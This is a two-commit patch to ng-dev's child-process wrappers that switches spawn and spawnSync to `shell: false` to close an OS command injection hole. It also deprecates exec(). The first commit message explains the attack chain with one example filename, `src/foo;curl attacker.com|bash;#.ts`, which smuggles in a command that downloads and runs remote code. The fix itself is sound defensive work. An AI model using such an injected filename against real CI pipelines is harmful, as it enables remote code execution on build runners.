From 26ff17d11c8f48ab0b84033c256ac174dae1355b Mon Sep 17 00:00:00 2001 From: Herdiyan IT Dev Date: Sat, 11 Apr 2026 10:33:12 +0700 Subject: [PATCH 1/2] fix(ng-dev): prevent OS command injection in ChildProcess wrappers The ChildProcess.spawn and ChildProcess.spawnSync wrappers previously used `shell: true`, which causes Node.js to internally concatenate the command + args array into a single string and pass it to `/bin/sh -c`. This means any argument containing shell metacharacters (e.g. a file named `src/foo;curl attacker.com|bash;#.ts`) resulting from a malicious Pull Request is directly executed by the shell in CI/CD contexts. The attack chain is concrete: 1. `ng-dev format changed` calls `git diff --name-only` -> attacker controls filenames. 2. `runFormatterInParallel` builds: `[spawnCmd, ...spawnArgs] = [...command.split(' '), file]` 3. `ChildProcess.spawn(spawnCmd, spawnArgs, ...)` with `shell: true` evaluates the injected filename as an arbitrary shell command on the CI runner. Fix: change `shell: true` to `shell: false` in both `spawn` and `spawnSync`. With `shell: false`, args are passed directly to `execve` as an array, completely bypassing shell interpretation and neutralizing the injection. --- ng-dev/utils/child-process.ts | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/ng-dev/utils/child-process.ts b/ng-dev/utils/child-process.ts index 9052e93de..b992462b0 100644 --- a/ng-dev/utils/child-process.ts +++ b/ng-dev/utils/child-process.ts @@ -85,6 +85,9 @@ export abstract class ChildProcess { * @returns The command's stdout and stderr. */ static spawnSync(command: string, args: string[], options: SpawnSyncOptions = {}): SpawnResult { + // Pass args as a proper array with shell: false to prevent OS command injection. + // When shell: true is used, Node.js internally joins command + args into a single + // string evaluated by /bin/sh, making shell metacharacters in args exploitable. const commandText = `${command} ${args.join(' ')}`; const env = getEnvironmentForNonInteractiveCommand(options.env); @@ -95,7 +98,7 @@ export abstract class ChildProcess { signal, stdout, stderr, - } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'}); + } = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: false, stdio: 'pipe'}); /** The status of the spawn result. */ const status = statusFromExitCodeAndSignal(exitCode, signal); @@ -116,13 +119,16 @@ export abstract class ChildProcess { * rejects on command failure. */ static spawn(command: string, args: string[], options: SpawnOptions = {}): Promise { + // Pass args as a proper array with shell: false to prevent OS command injection. + // When shell: true is used, Node.js internally joins command + args into a single + // string evaluated by /bin/sh, making shell metacharacters in args exploitable. const commandText = `${command} ${args.join(' ')}`; const env = getEnvironmentForNonInteractiveCommand(options.env); return processAsyncCmd( commandText, options, - _spawn(command, args, {...options, env, shell: true, stdio: 'pipe'}), + _spawn(command, args, {...options, env, shell: false, stdio: 'pipe'}), ); } @@ -135,6 +141,7 @@ export abstract class ChildProcess { * rejects on command failure. */ static exec(command: string, options: ExecOptions = {}): Promise { + Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.'); const env = getEnvironmentForNonInteractiveCommand(options.env); return processAsyncCmd(command, options, _exec(command, {...options, env})); } From 08ce4c8ee3694a5da4c653f7ade73ee4e36e628a Mon Sep 17 00:00:00 2001 From: Herdiyan IT Dev Date: Sat, 11 Apr 2026 11:03:32 +0700 Subject: [PATCH 2/2] fix(ng-dev): address code review feedback on shell:false PR - Add Windows compatibility note to shell:false in spawn and spawnSync (ng-dev targets Linux/macOS CI environments where this is not a concern) - Include command string in exec() deprecation warning for better diagnostics - Add @deprecated JSDoc to ChildProcess.exec for IDE visibility --- ng-dev/utils/child-process.ts | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/ng-dev/utils/child-process.ts b/ng-dev/utils/child-process.ts index b992462b0..9cb8915a2 100644 --- a/ng-dev/utils/child-process.ts +++ b/ng-dev/utils/child-process.ts @@ -88,6 +88,8 @@ export abstract class ChildProcess { // Pass args as a proper array with shell: false to prevent OS command injection. // When shell: true is used, Node.js internally joins command + args into a single // string evaluated by /bin/sh, making shell metacharacters in args exploitable. + // Note: shell: false may affect .cmd/.bat execution on Windows, but ng-dev + // targets Linux/macOS CI environments where this is not a concern. const commandText = `${command} ${args.join(' ')}`; const env = getEnvironmentForNonInteractiveCommand(options.env); @@ -122,6 +124,8 @@ export abstract class ChildProcess { // Pass args as a proper array with shell: false to prevent OS command injection. // When shell: true is used, Node.js internally joins command + args into a single // string evaluated by /bin/sh, making shell metacharacters in args exploitable. + // Note: shell: false may affect .cmd/.bat execution on Windows, but ng-dev + // targets Linux/macOS CI environments where this is not a concern. const commandText = `${command} ${args.join(' ')}`; const env = getEnvironmentForNonInteractiveCommand(options.env); @@ -139,9 +143,15 @@ export abstract class ChildProcess { * * @returns a Promise resolving with captured stdout and stderr on success. The promise * rejects on command failure. + * @deprecated Use ChildProcess.spawn with an explicit args array instead. + * exec() passes the command string directly to the shell, making it susceptible + * to command injection via shell metacharacters in the command string. */ static exec(command: string, options: ExecOptions = {}): Promise { - Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.'); + Log.warn( + `ChildProcess.exec is discouraged as it is susceptible to command injection ` + + `(command: ${command}). Prefer ChildProcess.spawn with an array of arguments.`, + ); const env = getEnvironmentForNonInteractiveCommand(options.env); return processAsyncCmd(command, options, _exec(command, {...options, env})); }